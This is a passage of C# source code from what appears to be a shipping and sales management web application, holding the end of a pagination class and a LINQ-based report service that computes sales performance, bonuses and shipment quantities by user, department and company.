public bool IsLastPage
{
get { return _isLastPage; }
}
public int PreviousPage
{
get
{
if (_isFirstPage)
throw new InvalidOperationException("No previous page when on first page.");
return _previousPage;
}
}
public int NextPage
{
get
{
if (_isLastPage)
throw new InvalidOperationException("No next page when on last page.");
return _nextPage;
}
}
public Pager()
{
_currentPage = 1;
_pageSize = 10;
_sord = "asc";
}
public Pager(int currentPage, int pageSize, int totalRows)
{
Verify.Argument.IsPositive(currentPage, "currentPage");
Verify.Argument.IsPositive(pageSize, "pageSize");
Verify.Argument.IsPositiveOrZero(totalRows, "totalRows");
_currentPage = currentPage;
_pageSize = pageSize;
_totalRows = totalRows;
}
public void Init(int totalRows)
{
Verify.Argument.IsPositiveOrZero(totalRows, "totalRows");
_totalRows = totalRows;
Init();
}
public void Init()
{
Verify.Argument.IsPositive(_currentPage, "_currentPage");
Verify.Argument.IsPositive(_pageSize, "_pageSize");
Verify.Argument.IsPositiveOrZero(_totalRows, "_totalRows");
if (_totalRows == 0)
{
_totalPages = 0;
_isVisible = false;
return;
}
_isVisible = true;
_rowStats = GenPagerStats(_totalRows, _currentPage, _pageSize);
_totalPages = CalculateTotalPages(_totalRows, _pageSize);
SetupNav();
}
private void SetupNav()
{
if (_totalPages == 1)
{
_isNavVisible = false;
_firstPage = 1;
_lastPage = 1;
_isFirstPage = true;
_isLastPage = true;
return;
}
else
{
_isNavVisible = true;
}
_firstPage = 1;
_lastPage = _totalPages;
if (_currentPage == 1)
{
_isFirstPage = true;
}
else
{
_isFirstPage = false;
_previousPage = _currentPage - 1;
}
//Next and last page
if (_currentPage == _lastPage)
{
_isLastPage = true;
}
else
{
_isLastPage = false;
_nextPage = _currentPage + 1;
}
}
private int CalculateTotalPages(int totalRows, int pageSize)
{
return (int)Math.Ceiling((double)totalRows / (double)pageSize);
}
private string GenPagerStats(int totalRows, int currentPage, int pageSize)
{
int firstRow = (currentPage - 1) * pageSize + 1;
int lastRow = Math.Min(firstRow + pageSize - 1, totalRows);
string stats;
if (firstRow == lastRow)
stats = "Row " + firstRow + " of " + totalRows;
else
stats = "Rows " + firstRow + "-" + lastRow + " of " + totalRows;
return stats;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace SSM.Models
{
public interface ReportServices
{
IEnumerable<ViewPerformance> getViewPerformances(long UserId1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnits(long UserId1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformancesSales(long DeptId1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnitsSales(long DeptId1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnitsCom(DateTime SearchDate1, DateTime SearchDateTo, bool isConsole = false);
IEnumerable<QuantityUnits> getQuantityUnitsDept(long ComId, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformancesByDept(long ComId, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformancesCom(DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<PerformanceReport> getSaleReport(long UserId, int Year);
IEnumerable<PerformanceReport> getSaleReportDept(long DeptId, int Year);
IEnumerable<ViewPerformance> getViewPerformancesByDept(long ComId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformancesSales(long DeptId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformances(long UserId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<ViewPerformance> getViewPerformancesCom(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnitsCom(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnitsDept(long ComId, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnitsSales(long DeptId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<QuantityUnits> getQuantityUnits(long UserId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo);
IEnumerable<Shipment> getAllShipment(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo, long ComId);
IEnumerable<PerformanceReport> getSaleReportOffice(long OfficeId, int Year);
IList<PlanModelMonth> GetPlanYear(long id, int year, TypeOfPlan type = TypeOfPlan.User);
IList<MonthOfYearReport> GetOrderMountYear(long id, int year, TypeOfPlan type = TypeOfPlan.User);
}
public class ReportServicesImpl : ReportServices
{
private DataClasses1DataContext db;
public ReportServicesImpl()
{
db = new DataClasses1DataContext();
}
public IEnumerable<ViewPerformance> getViewPerformances(long UserId1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<SalePlan> listSalePlan = from SalePlan1 in db.SalePlans
where SalePlan1.User.Id == UserId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
select SalePlan1;
if (listSalePlan == null || listSalePlan.ToList().Count == 0)
{
IEnumerable<ViewPerformance> LeftJoin1 = from subShipment in db.Shipments
where subShipment.User.Id == UserId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by new { subShipment.User, subShipment.Revenue.SaleType } into _group
select new ViewPerformance(
_group.Key.User.Id,
_group.Key.User.UserName,
_group.Key.User.Department.DeptName,
_group.Key.SaleType,
0,
_group.Sum(s => s.Revenue.Earning.Value) == null ? 0 : _group.Sum(s => s.Revenue.Earning.Value),
100,
_group.Sum(s => s.Revenue.AmountBonus2) == null ? 0 : _group.Sum(s => s.Revenue.AmountBonus2),
_group.Count() == null ? 0 : _group.Count()
)
;
return LeftJoin1;
}
IEnumerable<ViewPerformance> LeftJoin = (
from SalePlan12
in
(from SalePlan1 in db.SalePlans
where SalePlan1.User.Id == UserId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
select new
{
UserId = SalePlan1.User.Id,
Plan = SalePlan1.PlanValue.Value,
UserName = SalePlan1.User.FullName,
Dept = SalePlan1.Department.DeptName
}
)
join
Shipment1 in
(from subShipment in db.Shipments
where subShipment.User.Id == UserId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
group subShipment by new { subShipment.User, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.User.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId
into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesSales(long DeptId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (
from SalePlan12
in
(from SalePlan1 in db.SalePlans
where SalePlan1.User != null && SalePlan1.User.Department.Id == DeptId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
group SalePlan1 by SalePlan1.User into _group
select new { UserId = _group.Key.Id, Plan = _group.Sum(s => s.PlanValue.Value), UserName = _group.Key.FullName, Dept = _group.Key.Department.DeptName }
)
join Shipment1 in
(from subShipment in db.Shipments
where DeptId1.Equals(subShipment.User.Department.Id) && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
group subShipment by new { subShipment.User, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.User.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments)
);
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesSales(long DeptId1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (
from SalePlan12
in
(from SalePlan1 in db.SalePlans
where SalePlan1.User != null && SalePlan1.User.Department.Id == DeptId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
select new { UserId = SalePlan1.User.Id, Plan = SalePlan1.PlanValue.Value, UserName = SalePlan1.User.FullName, Dept = SalePlan1.User.Department.DeptName }
)
join Shipment1 in
(from subShipment in db.Shipments
where subShipment.Department.Id == DeptId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by new { subShipment.User, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.User.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesByDept(long ComId1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (from
SalePlan12
in
(from SalePlan1 in db.SalePlans
where SalePlan1.Department != null && SalePlan1.Department.ComId.Value == ComId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
select new { UserId = SalePlan1.Department.Id, Plan = SalePlan1.PlanValue.Value, UserName = "", Dept = SalePlan1.Department.DeptName }
)
join Shipment1 in
(from subShipment in db.Shipments
where subShipment.Company.Id == ComId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by new { subShipment.Department, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.Department.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesByDept(long ComId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (from
SalePlan12
in
(from SalePlan1 in db.SalePlans
where SalePlan1.Department != null && SalePlan1.Department.ComId.Value == ComId1 && SalePlan1.PlanMonth.Equals(SearchDate1)
group SalePlan1 by SalePlan1.Department into _group
select new { UserId = _group.Key.Id, Plan = _group.Sum(s => s.PlanValue.Value), UserName = "", Dept = _group.Key.DeptName }
)
join Shipment1 in
(from subShipment in db.Shipments
where subShipment.Company.Id == ComId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& subShipment.IsMainShipment == false
group subShipment by new { subShipment.Department, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.Department.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformances(long UserId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (from SalePlan12
in
(from SalePlan1 in db.SalePlans
where UserId1 == SalePlan1.UserId && SalePlan1.PlanMonth.Equals(SearchDate1)
group SalePlan1 by SalePlan1.User into _group
select new { UserId = _group.Key.Id, Plan = _group.Sum(s => s.PlanValue.Value), UserName = _group.Key.FullName, Dept = _group.Key.Department.DeptName }
)
join Shipment1 in
(from subShipment in db.Shipments
where UserId1.Equals(subShipment.SaleId) && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
group subShipment by new { subShipment.User, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.User.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId
into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
((_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesCom(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (
from SalePlan12
in
(
from Company1 in db.Companies
join subSalePlan in
(
from SalePlan1 in db.SalePlans
where SalePlan1.OfficeId != null && SalePlan1.PlanMonth >= SearchDate1 && SalePlan1.PlanMonth <= SearchDateTo
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId == SalePlan1.UserId)
group SalePlan1 by SalePlan1.Company into _group
select new { UserId = _group.Key.Id, Plan = _group.Sum(s => s.PlanValue.Value), UserName = _group.Key.CompanyName, Dept = "" }
) on Company1.Id equals subSalePlan.UserId into saleJoins
from saleJoin in saleJoins.DefaultIfEmpty()
select new
{
UserId = Company1.Id,
Plan = saleJoin.Plan == null ? 0 : saleJoin.Plan,
UserName = Company1.CompanyName,
Dept = ""
}
)
join Shipment1 in
(from subShipment in db.Shipments
where subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
group subShipment by new { subShipment.Company, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.Company.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
(SalePlan12.Plan == 0 ? 0 : (_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<Shipment> getAllShipment(SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo, long ComId)
{
try
{
return (from subShipment in db.Shipments
where subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.CompanyId == ComId
//&& (UserIds.Count == 0 || UserIds.Contains(subShipment.SaleId.Value))
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& subShipment.IsMainShipment == false
select subShipment
).OrderBy(m => m.IsControl).ThenBy(x => x.Id).ThenBy(x => x.ShipmentRef).ThenBy(x => x.ControlStep); ;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<ViewPerformance> getViewPerformancesCom(DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<ViewPerformance> LeftJoin = (
from SalePlan12
in
(from Company1 in db.Companies
join subSalePlan in
(
from SalePlan1 in db.SalePlans
where SalePlan1.OfficeId != null && SalePlan1.PlanMonth >= SearchDate1 && SalePlan1.PlanMonth <= SearchDateTo
group SalePlan1 by SalePlan1.Company into _group
select new { UserId = _group.Key.Id, Plan = _group.Sum(s => s.PlanValue.Value), UserName = _group.Key.CompanyName, Dept = "" }
) on Company1.Id equals subSalePlan.UserId into saleJoins
from saleJoin in saleJoins.DefaultIfEmpty()
select new
{
UserId = Company1.Id,
Plan = saleJoin.Plan == null ? 0 : saleJoin.Plan,
UserName = Company1.CompanyName,
Dept = ""
}
)
join Shipment1 in
(from subShipment in db.Shipments
where subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by new { subShipment.Company, subShipment.Revenue.SaleType } into _group
select new
{
UserId = _group.Key.Company.Id,
Perform = _group.Sum(s => s.Revenue.Earning.Value),
Shipments = _group.Count(),
Bonus = _group.Where(x => x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved)).Sum(s => s.Revenue.AmountBonus2),
_SaleType = _group.Key.SaleType
}
)
on SalePlan12.UserId equals Shipment1.UserId into _leftjoins
from _leftjoin in _leftjoins.DefaultIfEmpty()
select new ViewPerformance(SalePlan12.UserId,
SalePlan12.UserName,
SalePlan12.Dept,
_leftjoin._SaleType,
SalePlan12.Plan,
_leftjoin.Perform == null ? 0 : _leftjoin.Perform,
(SalePlan12.Plan == 0 ? 100 : (_leftjoin.Perform == null ? 0 : _leftjoin.Perform) * 100 / SalePlan12.Plan),
_leftjoin.Bonus == null ? 0 : _leftjoin.Bonus,
_leftjoin.Shipments == null ? 0 : _leftjoin.Shipments));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnits(long UserId1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.User.Id == UserId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnits(long UserId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.User.Id == UserId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsSales(long DeptId1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.Department.Id == DeptId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsSales(long DeptId1, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.Department.Id == DeptId1 && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& ((SalePerformamceModel1.IsConsole == true && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == true && subShipment.ShipmentRef != null)))
|| (SalePerformamceModel1.IsConsole == false && (subShipment.ShipmentRef == null || (subShipment.IsMainShipment == false && subShipment.ShipmentRef != null))))
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsDept(long ComId, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.Company.Id == ComId && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& subShipment.IsMainShipment == false
group subShipment by subShipment.QtyUnit into _group
select new QuantityUnits(_group.Key, _group.Sum(m => m.QtyNumber));
return LeftJoin;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public IEnumerable<QuantityUnits> getQuantityUnitsDept(long ComId, SalePerformamceModel SalePerformamceModel1, DateTime SearchDate1, DateTime SearchDateTo)
{
try
{
IEnumerable<QuantityUnits> LeftJoin = from subShipment in db.Shipments
where subShipment.Company.Id == ComId && subShipment.DateShp >= SearchDate1 && subShipment.DateShp <= SearchDateTo
&& (SalePerformamceModel1.AgentId == 0 || SalePerformamceModel1.AgentId.Equals(subShipment.AgentId))
&& (SalePerformamceModel1.CneeId == 0 || SalePerformamceModel1.CneeId.Equals(subShipment.CneeId))
&& (SalePerformamceModel1.ShipperId == 0 || SalePerformamceModel1.ShipperId.Equals(subShipment.ShipperId))
&& (SalePerformamceModel1.SaleId == 0 || SalePerformamceModel1.SaleId.Equals(subShipment.SaleId))
&& (0.Equals(SalePerformamceModel1.ServiceId) || SalePerformamceModel1.ServiceId.Equals(subShipment.ServiceId))
&& subShipment.IsMainShipment == false
